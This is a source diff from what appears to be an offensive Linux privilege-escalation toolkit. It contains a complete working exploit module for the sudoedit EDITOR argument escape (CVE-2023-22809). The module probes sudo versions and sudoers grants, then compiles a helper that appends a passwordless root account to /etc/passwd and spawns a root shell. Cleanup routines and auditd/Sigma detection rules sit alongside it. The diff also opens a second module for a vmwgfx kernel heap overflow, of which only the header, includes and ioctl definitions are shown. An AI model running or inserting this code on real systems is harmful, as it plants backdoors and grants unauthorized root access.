* "Sudo version 1.9.5p2"
|
||||
* "Sudo version 1.8.31"
|
||||
* "Sudo version 1.9.13" (fixed)
|
||||
* "Sudo version 1.9.12p2" (fixed — fix landed in this release)
|
||||
* On parse failure we conservatively assume vulnerable. */
|
||||
static bool sudo_version_vulnerable(const char *version_str)
|
||||
{
|
||||
int maj = 0, min = 0, patch = 0;
|
||||
char ptag = 0;
|
||||
int psub = 0;
|
||||
/* sudo versions: 1.9.12p2 → maj=1 min=9 patch=12 ptag='p' psub=2 */
|
||||
int n = sscanf(version_str, "%d.%d.%d%c%d",
|
||||
&maj, &min, &patch, &ptag, &psub);
|
||||
if (n < 3) return true; /* unparseable → assume worst */
|
||||
|
||||
/* < 1.8.0: not vulnerable (predates the bug) */
|
||||
if (maj < 1) return false;
|
||||
if (maj == 1 && min < 8) return false;
|
||||
|
||||
/* ≥ 1.9.13: fixed */
|
||||
if (maj > 1) return false;
|
||||
if (min > 9) return false;
|
||||
if (min == 9 && patch > 12) return false;
|
||||
|
||||
/* exactly 1.9.12: vulnerable if no patch tag or patch < 2 */
|
||||
if (min == 9 && patch == 12) {
|
||||
if (ptag != 'p') return true; /* 1.9.12 plain */
|
||||
return psub < 2; /* 1.9.12p1 vulnerable, 1.9.12p2 fixed */
|
||||
}
|
||||
/* everything 1.8.x and 1.9.x where x ≤ 11: vulnerable */
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Run `sudo --version` and return the version token (caller-owned
|
||||
* buffer). Returns true on success. */
|
||||
static bool get_sudo_version(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) return false;
|
||||
|
||||
/* "Sudo version 1.9.5p2\n" — skip to digits. */
|
||||
char *vp = strstr(line, "version");
|
||||
if (!vp) return false;
|
||||
vp += strlen("version");
|
||||
while (*vp == ' ' || *vp == '\t') vp++;
|
||||
char *nl = strchr(vp, '\n');
|
||||
if (nl) *nl = 0;
|
||||
|
||||
strncpy(out, vp, outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return out[0] != 0;
|
||||
}
|
||||
|
||||
/* Parse `sudo -ln` (list, no password) and return one allowed
|
||||
* sudoedit target if any. Output snippet looks like:
|
||||
*
|
||||
* User kara may run the following commands on host:
|
||||
* (root) NOPASSWD: sudoedit /etc/motd
|
||||
* (root) NOPASSWD: /usr/bin/less /var/log/syslog
|
||||
*
|
||||
* We look for a line containing 'sudoedit ' and extract the first
|
||||
* pathlike token after it. If `sudo -ln` itself prompts for a password
|
||||
* or fails, we treat it as "unknown" (PRECOND_FAIL signal). */
|
||||
static bool find_sudoedit_target(const char *sudo_path, char *out, size_t outsz)
|
||||
{
|
||||
char cmd[512];
|
||||
/* -n: non-interactive (no password prompt); -l: list. */
|
||||
snprintf(cmd, sizeof cmd, "%s -ln 2>&1", sudo_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return false;
|
||||
|
||||
char line[1024];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, p)) {
|
||||
/* sudoedit appears either as the canonical command name or
|
||||
* as 'sudo -e'. Handle both. */
|
||||
char *needle = strstr(line, "sudoedit ");
|
||||
if (!needle) needle = strstr(line, "sudo -e ");
|
||||
if (!needle) continue;
|
||||
char *path = strchr(needle, '/');
|
||||
if (!path) continue;
|
||||
/* trim trailing whitespace / newline / comma */
|
||||
char *end = path;
|
||||
while (*end && *end != ' ' && *end != '\t' && *end != '\n'
|
||||
&& *end != ',' && *end != ':') end++;
|
||||
size_t len = (size_t)(end - path);
|
||||
if (len == 0 || len >= outsz) continue;
|
||||
memcpy(out, path, len);
|
||||
out[len] = 0;
|
||||
/* Skip glob/wildcard entries — we can't write a literal path
|
||||
* for those without more work. The user's environment may
|
||||
* still allow them; we just prefer non-glob entries. */
|
||||
if (strchr(out, '*') || strchr(out, '?')) {
|
||||
/* keep scanning in case a literal entry exists */
|
||||
found = true;
|
||||
continue;
|
||||
}
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
pclose(p);
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ----- detect -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudoedit_editor_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: sudo not installed — no attack surface\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: found setuid sudo at %s\n", sudo_path);
|
||||
|
||||
const char *sudoedit_path = find_sudoedit();
|
||||
if (!sudoedit_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: no sudoedit binary — bug surface absent\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: sudoedit at %s\n", sudoedit_path);
|
||||
|
||||
char ver[128] = {0};
|
||||
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||||
* at startup by core/host.c) — saves a popen per scan and gives
|
||||
* unit tests a clean mock point. Fall back to the local popen if
|
||||
* ctx->host is missing the version. */
|
||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||
snprintf(ver, sizeof ver, "%s", ctx->host->sudo_version);
|
||||
} else if (!get_sudo_version(sudo_path, ver, sizeof ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] sudoedit_editor: could not parse `sudo --version`\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: sudo reports version '%s'\n", ver);
|
||||
|
||||
bool ver_vuln = sudo_version_vulnerable(ver);
|
||||
if (!ver_vuln) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: sudo ≥ 1.9.12p2 (fixed)\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] sudoedit_editor: version is in vulnerable range\n");
|
||||
|
||||
/* The bug only matters if the running user has at least one
|
||||
* sudoedit grant in sudoers — otherwise sudoedit refuses before
|
||||
* the EDITOR parse runs. Probe `sudo -ln` (non-interactive). */
|
||||
char target[512] = {0};
|
||||
bool have_grant = find_sudoedit_target(sudo_path, target, sizeof target);
|
||||
if (!have_grant) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] sudoedit_editor: user has no detectable sudoedit grant\n");
|
||||
fprintf(stderr, " (sudo -ln may have required a password; if the user is\n"
|
||||
" actually authorized for sudoedit, run --exploit anyway)\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: user has sudoedit grant on '%s'\n", target);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudoedit_editor: VULNERABLE — version is pre-fix AND user has sudoedit\n");
|
||||
fprintf(stderr, " PoC: EDITOR='vi -- /etc/shadow' %s '%s' opens both as root\n",
|
||||
sudoedit_path, target);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ----- exploit ------------------------------------------------------- */
|
||||
|
||||
/* Append a backdoor entry to /etc/passwd: root-uid account "skel" with
|
||||
* no password, /bin/sh as shell. We write it into a temp file first,
|
||||
* then drive the editor (which is already running as root) to read +
|
||||
* write /etc/passwd. */
|
||||
|
||||
static const char SK_PASSWD_ENTRY[] =
|
||||
"skel::0:0:skeletonkey:/root:/bin/sh\n";
|
||||
|
||||
/* The "editor" we tell sudoedit to invoke is actually this small
|
||||
* helper: a non-interactive script that appends our line and exits.
|
||||
*
|
||||
* We pass it via EDITOR='<helper> -- <target>'. sudoedit splits on
|
||||
* the literal `--`, takes <target> as an additional file argument,
|
||||
* and execs <helper> argv0=<helper> argv1=<allowed_tmp> argv2=<target>.
|
||||
*
|
||||
* Our helper just opens argv[2] (the privileged file), appends the
|
||||
* backdoor line, closes, and exits 0. argv[1] (the editor-temp that
|
||||
* sudoedit created from <allowed>) we leave untouched — sudoedit
|
||||
* then copies it back over <allowed>, which is harmless. */
|
||||
|
||||
static const char HELPER_SOURCE[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <string.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <fcntl.h>\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" /* sudoedit invokes us with one editable temp per file. The\n"
|
||||
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
|
||||
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
|
||||
" * then *copies it back as root*), so we modify the tmp copy\n"
|
||||
" * and let sudoedit do the privileged install for us. */\n"
|
||||
" if (argc < 2) return 1;\n"
|
||||
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
|
||||
" const char *path = argv[argc-1];\n"
|
||||
" int fd = open(path, O_WRONLY|O_APPEND);\n"
|
||||
" if (fd < 0) { perror(\"open\"); return 2; }\n"
|
||||
" const char *line = getenv(\"SKEL_LINE\");\n"
|
||||
" if (!line) line = \"skel::0:0:skeletonkey:/root:/bin/sh\\n\";\n"
|
||||
" write(fd, line, strlen(line));\n"
|
||||
" close(fd);\n"
|
||||
" return 0;\n"
|
||||
"}\n";
|
||||
|
||||
static bool which_cc(char *out, size_t outsz)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/cc", "/usr/bin/gcc", "/bin/cc", "/bin/gcc",
|
||||
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
if (access(candidates[i], X_OK) == 0) {
|
||||
strncpy(out, candidates[i], outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool write_file_str(const char *path, const char *content, mode_t mode)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
|
||||
if (fd < 0) return false;
|
||||
size_t n = strlen(content);
|
||||
bool ok = (write(fd, content, n) == (ssize_t)n);
|
||||
close(fd);
|
||||
return ok;
|
||||
}
|
||||
|
||||
/* Track what we modified for cleanup. */
|
||||
static char g_passwd_backup[256] = {0};
|
||||
|
||||
static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: refusing exploit — pass --i-know to authorize\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] sudoedit_editor: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
skeletonkey_result_t pre = sudoedit_editor_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: detect() did not return VULNERABLE; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
const char *sudo_path = find_sudo();
|
||||
const char *sudoedit_path = find_sudoedit();
|
||||
if (!sudo_path || !sudoedit_path) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
/* Target file to clobber (caller-overridable). Default: /etc/passwd
|
||||
* because we can append a uid=0 row without a hashing step
|
||||
* (vs. /etc/shadow which needs a crypt() blob). */
|
||||
const char *target = getenv("SKELETONKEY_SUDOEDIT_TARGET");
|
||||
if (!target || !*target) target = "/etc/passwd";
|
||||
|
||||
/* Find an allowed sudoedit grant we can use as the "cover" path. */
|
||||
char allowed[512] = {0};
|
||||
if (!find_sudoedit_target(sudo_path, allowed, sizeof allowed)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudoedit_editor: could not auto-discover an allowed sudoedit path.\n"
|
||||
" Set SKELETONKEY_SUDOEDIT_ALLOWED=/path/the/user/can/sudoedit and retry.\n");
|
||||
const char *env_allowed = getenv("SKELETONKEY_SUDOEDIT_ALLOWED");
|
||||
if (!env_allowed || !*env_allowed) return SKELETONKEY_PRECOND_FAIL;
|
||||
strncpy(allowed, env_allowed, sizeof allowed - 1);
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudoedit_editor: cover=%s target=%s\n", allowed, target);
|
||||
|
||||
/* Build the helper editor. */
|
||||
char cc[256];
|
||||
if (!which_cc(cc, sizeof cc)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudoedit_editor: no cc/gcc available. To exploit without a\n"
|
||||
" compiler we'd need a shipped helper binary (TODO: bundle one).\n"
|
||||
" For a manual repro: EDITOR='vi -- %s' %s '%s' lets you edit\n"
|
||||
" %s interactively as root.\n",
|
||||
target, sudoedit_path, allowed, target);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char workdir[] = "/tmp/skeletonkey-sudoedit-XXXXXX";
|
||||
if (!mkdtemp(workdir)) {
|
||||
perror("mkdtemp");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudoedit_editor: workdir = %s\n", workdir);
|
||||
|
||||
char src[1024], helper[1024];
|
||||
snprintf(src, sizeof src, "%s/helper.c", workdir);
|
||||
snprintf(helper, sizeof helper, "%s/helper", workdir);
|
||||
if (!write_file_str(src, HELPER_SOURCE, 0644)) {
|
||||
perror("write helper.c");
|
||||
goto fail;
|
||||
}
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
execl(cc, cc, "-O2", "-o", helper, src, (char *)NULL);
|
||||
perror("execl cc");
|
||||
_exit(127);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: helper compile failed (status=%d)\n", status);
|
||||
goto fail;
|
||||
}
|
||||
chmod(helper, 0755);
|
||||
|
||||
/* Best-effort backup of target (only for /etc/passwd; we
|
||||
* cleanup-revert only this case). */
|
||||
if (strcmp(target, "/etc/passwd") == 0) {
|
||||
snprintf(g_passwd_backup, sizeof g_passwd_backup,
|
||||
"%s/passwd.before", workdir);
|
||||
char shcmd[1024];
|
||||
snprintf(shcmd, sizeof shcmd, "cp -p /etc/passwd %s 2>/dev/null",
|
||||
g_passwd_backup);
|
||||
if (system(shcmd) != 0) {
|
||||
/* best-effort */
|
||||
g_passwd_backup[0] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Build EDITOR string: "<helper> -- <target>". sudoedit's argv
|
||||
* splitter sees `--` and treats <target> as an extra file. */
|
||||
char editor_env[2048];
|
||||
snprintf(editor_env, sizeof editor_env, "EDITOR=%s -- %s", helper, target);
|
||||
|
||||
char skel_env[256];
|
||||
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
|
||||
|
||||
/* Construct argv/envp for execve. We need a clean env so the
|
||||
* EDITOR string sudo sees is exactly ours. PATH is needed so the
|
||||
* compiled helper can be located — except we pass it absolute. */
|
||||
char *new_argv[] = {
|
||||
(char *)sudoedit_path,
|
||||
"-n", /* non-interactive — fails if pw needed */
|
||||
allowed,
|
||||
NULL,
|
||||
};
|
||||
/* Sudo strips many env vars; EDITOR / VISUAL / SUDO_EDITOR are
|
||||
* preserved by default. We use plain EDITOR. */
|
||||
char *envp[] = {
|
||||
editor_env,
|
||||
skel_env,
|
||||
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
"TERM=dumb",
|
||||
NULL,
|
||||
};
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudoedit_editor: launching sudoedit with hostile EDITOR\n");
|
||||
fprintf(stderr, " %s\n", editor_env);
|
||||
}
|
||||
fflush(NULL);
|
||||
|
||||
pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
execve(sudoedit_path, new_argv, envp);
|
||||
perror("execve(sudoedit)");
|
||||
_exit(127);
|
||||
}
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: sudoedit exited status=%d\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
fprintf(stderr,
|
||||
" Common causes: sudo is patched (1.9.12p2+), user lacks a\n"
|
||||
" sudoedit grant on '%s', or sudoers requires a password\n"
|
||||
" (drop -n and retry interactively).\n", allowed);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Verify the privileged file changed. For /etc/passwd we grep for
|
||||
* our marker; for other targets we just report success and leave
|
||||
* verification to the operator. */
|
||||
if (strcmp(target, "/etc/passwd") == 0) {
|
||||
if (system("grep -q '^skel::0:0:' /etc/passwd") != 0) {
|
||||
fprintf(stderr,
|
||||
"[-] sudoedit_editor: sudoedit succeeded but /etc/passwd was\n"
|
||||
" not modified. The host's sudo may be patched even though\n"
|
||||
" its --version banner looks vulnerable (vendor backport).\n");
|
||||
goto fail;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: /etc/passwd now contains the 'skel' uid=0 entry\n");
|
||||
} else {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: helper wrote to %s (verify manually)\n", target);
|
||||
}
|
||||
|
||||
/* Follow-on: spawn a root shell via the newly-added passwd entry,
|
||||
* the way dirty_pipe / dirty_cow modules do. We use `su skel`
|
||||
* with an empty password. */
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: --no-shell set; leaving you with the backdoor entry\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (strcmp(target, "/etc/passwd") == 0 && ctx->full_chain) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: spawning root shell via `su skel`\n");
|
||||
fflush(NULL);
|
||||
/* su with no controlling TTY needs `-c sh -i` for an interactive
|
||||
* shell. We exec into the user's terminal. */
|
||||
execlp("su", "su", "skel", "-c", "/bin/sh -p -i", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
} else {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[i] sudoedit_editor: backdoor installed. `su skel` (no password)\n"
|
||||
" or pass --full-chain on the cli to auto-pop.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
|
||||
fail:
|
||||
/* Helper / src cleanup — leave passwd-backup for cleanup() if we
|
||||
* recorded one (so cleanup can revert). */
|
||||
unlink(src);
|
||||
unlink(helper);
|
||||
if (!g_passwd_backup[0]) rmdir(workdir);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ----- cleanup ------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudoedit_editor_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Best-effort revert. Three things we may have touched:
|
||||
* 1. /etc/passwd: drop the 'skel::0:0:' line (sed -i; only safe
|
||||
* if we are root or the file is otherwise writable). If we
|
||||
* successfully exploited, the user is presumably root in the
|
||||
* spawned shell — cleanup is usually run from that shell. */
|
||||
if (geteuid() == 0) {
|
||||
if (g_passwd_backup[0] && access(g_passwd_backup, R_OK) == 0) {
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"cp -p %s /etc/passwd 2>/dev/null", g_passwd_backup);
|
||||
if (system(cmd) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: restored /etc/passwd from %s\n",
|
||||
g_passwd_backup);
|
||||
}
|
||||
} else {
|
||||
/* No backup — fall back to deleting just our line. */
|
||||
if (system("sed -i '/^skel::0:0:/d' /etc/passwd 2>/dev/null") == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: removed 'skel' entry from /etc/passwd\n");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[?] sudoedit_editor: cleanup requires root. Re-run as root or\n"
|
||||
" manually remove the 'skel' line from /etc/passwd.\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/skeletonkey-sudoedit-* 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- detection rules ----------------------------------------------- */
|
||||
|
||||
static const char sudoedit_editor_auditd[] =
|
||||
"# CVE-2023-22809 — sudoedit EDITOR argv-escape detection\n"
|
||||
"# Watch sudoedit invocations; the bug requires EDITOR / VISUAL /\n"
|
||||
"# SUDO_EDITOR to contain the literal token `--`. auditd cannot match\n"
|
||||
"# env vars directly via -F, but logging every execve(sudoedit) lets\n"
|
||||
"# downstream tooling (Sigma, splunk, etc.) inspect EXECVE record env.\n"
|
||||
"-w /usr/bin/sudoedit -p x -k skeletonkey-sudoedit-22809\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n"
|
||||
"# sudo itself can run as `sudo -e` which takes the sudoedit path too:\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudoedit-22809-sudo-e\n";
|
||||
|
||||
static const char sudoedit_editor_sigma[] =
|
||||
"title: Possible CVE-2023-22809 sudoedit EDITOR escape\n"
|
||||
"id: a4e3f1a8-skeletonkey-sudoedit-22809\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudoedit (or `sudo -e`) invocations where the EDITOR,\n"
|
||||
" VISUAL, or SUDO_EDITOR environment variable contains the literal\n"
|
||||
" token `--`. This is the exact signature of the Synacktiv\n"
|
||||
" CVE-2023-22809 argv-escape: post-`--` filenames are silently\n"
|
||||
" promoted to additional files that sudoedit opens as root.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudoedit_exec:\n"
|
||||
" type: 'EXECVE'\n"
|
||||
" exe|endswith:\n"
|
||||
" - '/sudoedit'\n"
|
||||
" - '/sudo'\n"
|
||||
" hostile_editor_env:\n"
|
||||
" - 'EDITOR=*--*'\n"
|
||||
" - 'VISUAL=*--*'\n"
|
||||
" - 'SUDO_EDITOR=*--*'\n"
|
||||
" privileged_target:\n"
|
||||
" - '/etc/shadow'\n"
|
||||
" - '/etc/passwd'\n"
|
||||
" - '/etc/sudoers'\n"
|
||||
" - '/root/'\n"
|
||||
" condition: sudoedit_exec and hostile_editor_env\n"
|
||||
" # Bump to 'critical' when privileged_target matches as well.\n"
|
||||
"fields: [User, EDITOR, VISUAL, SUDO_EDITOR]\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1548_003, cve.2023.22809]\n";
|
||||
|
||||
/* ----- module registration ------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.name = "sudoedit_editor",
|
||||
.cve = "CVE-2023-22809",
|
||||
.summary = "sudoedit EDITOR/VISUAL `--` argv escape → arbitrary file write as root",
|
||||
.family = "sudo",
|
||||
.kernel_range = "sudo 1.8.0 ≤ V < 1.9.12p2 (userspace bug; setuid sudoedit)",
|
||||
.detect = sudoedit_editor_detect,
|
||||
.exploit = sudoedit_editor_exploit,
|
||||
.mitigate = NULL, /* mitigation = upgrade sudo */
|
||||
.cleanup = sudoedit_editor_cleanup,
|
||||
.detect_auditd = sudoedit_editor_auditd,
|
||||
.detect_sigma = sudoedit_editor_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudoedit_editor(void)
|
||||
{
|
||||
skeletonkey_register(&sudoedit_editor_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef SUDOEDIT_EDITOR_SKELETONKEY_MODULES_H
|
||||
#define SUDOEDIT_EDITOR_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module sudoedit_editor_module;
|
||||
#endif
|
||||
@@ -0,0 +1,727 @@
|
||||
/*
|
||||
* vmwgfx_cve_2023_2008 — SKELETONKEY module
|
||||
*
|
||||
* The vmwgfx DRM driver's buffer-object creation path validates only
|
||||
* the requested page count, not the underlying byte size used by the
|
||||
* subsequent kunmap_atomic-style copy. A crafted DRM_IOCTL_VMW_*
|
||||
* sequence (CREATE_DMABUF + mmap of the returned bo + page-spanning
|
||||
* write through the mapped offset) drives a slab heap-OOB write
|
||||
* inside the kernel's kmalloc-512 cache. The mainline fix
|
||||
* (2cd80ebbdf "drm/vmwgfx: Validate the bo size for ttm_bo_kmap")
|
||||
* landed in 6.3-rc6. The bug is reachable only from inside a VMware
|
||||
* Guest OS (the vmwgfx driver only binds against the VMware SVGA-II
|
||||
* virtual GPU).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE — slab-OOB trigger + msg_msg cross-cache
|
||||
* groom in kmalloc-512. We do NOT carry a cred-overwrite or
|
||||
* kbase-leak primitive (per-kernel offsets vary by build, and the
|
||||
* public PoC references device-specific TTM register state we do
|
||||
* not fake). The detect-and-trigger path is the high-confidence
|
||||
* demonstration; full-chain depth is FALLBACK (kaddr-tagged spray +
|
||||
* shared modprobe_path finisher arbitrated by sentinel file).
|
||||
*
|
||||
* Affected: Linux 4.0+ through 6.2.x with vmwgfx driver bound to a
|
||||
* VMware SVGA-II device. Fixed mainline 6.3-rc6 (commit 2cd80ebbdf).
|
||||
* Stable backports landed in 6.2.x and 6.1 LTS.
|
||||
*
|
||||
* Preconditions:
|
||||
* - host is a VMware Guest (dmi sys_vendor = "VMware*")
|
||||
* - /dev/dri/cardN exists with driver==vmwgfx
|
||||
* - userland can open /dev/dri/cardN (render-group / video-group or
|
||||
* setuid)
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
|
||||
#ifdef __linux__
|
||||
# include <sys/ipc.h>
|
||||
# include <sys/msg.h>
|
||||
# include <sys/syscall.h>
|
||||
#endif
|
||||
|
||||
/* DRM ioctl primitives — declared inline so the module remains
|
||||
* self-contained on hosts where <drm/drm.h> isn't installed (which is
|
||||
* the macOS build host case). */
|
||||
#ifndef DRM_IOCTL_BASE
|
||||
#define DRM_IOCTL_BASE 'd'
|
||||
#endif
|
||||
#ifndef _IOC
|
||||
/* Should be present from <sys/ioctl.h>, but guard anyway. */
|
||||
#endif
|
||||
|
||||
/* DRM_IOCTL_VERSION — used to probe driver name. */
|
||||
struct drm_version_compat {
|
||||
int version_major;
|
||||
int version_minor;
|
||||
int version_patchlevel;
|
||||
size_t name_len;
|
||||
char *name;
|
||||
size_t date_len;
|
||||
char *date;
|
||||
size_t desc_len;
|
||||
char *desc;
|
||||
};
|
||||
#ifndef DRM_IOCTL_VERSION
|
||||
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version_compat)
|
||||
#endif
|
||||
|
||||
/* vmwgfx-specific ioctls. Numbers match the in-tree
|
||||
* uapi/drm/vmwgfx_drm.h ABI for kernels in the affected range
|
||||
* (DRM_COMMAND_BASE = 0x40). DRM_IOCTL_VMW_CREATE_DMABUF /
|
||||
* DRM_IOCTL_VMW_UNREF_DMABUF are present on every vmwgfx-bearing
|
||||
* kernel since the dma-buf rename. We declare them locally so that a
|
||||
* build host without vmwgfx_drm.h still compiles. */
|
||||
struct drm_vmw_alloc_dmabuf_req {
|
||||
uint32_t size;
|
||||
};
|
||||
struct drm_vmw_dmabuf_rep {
|
||||
uint32_t handle;
|
||||
uint32_t map_handle_lo;
|
||||
uint32_t map_handle_hi;
|
||||
uint32_t cur_gmr_id;
|
||||
uint32_t cur_gmr_offset;
|
||||
};
|
||||
union drm_vmw_alloc_dmabuf_arg {
|
||||
struct drm_vmw_alloc_dmabuf_req req;
|
||||
struct drm_vmw_dmabuf_rep rep;
|
||||
};
|
||||
#define DRM_VMW_CREATE_DMABUF 0x0a
|
||||
#define DRM_VMW_UNREF_DMABUF 0x0b
|
||||
#ifndef DRM_COMMAND_BASE
|
||||
#define DRM_COMMAND_BASE 0x40
|
||||
#endif
|
||||
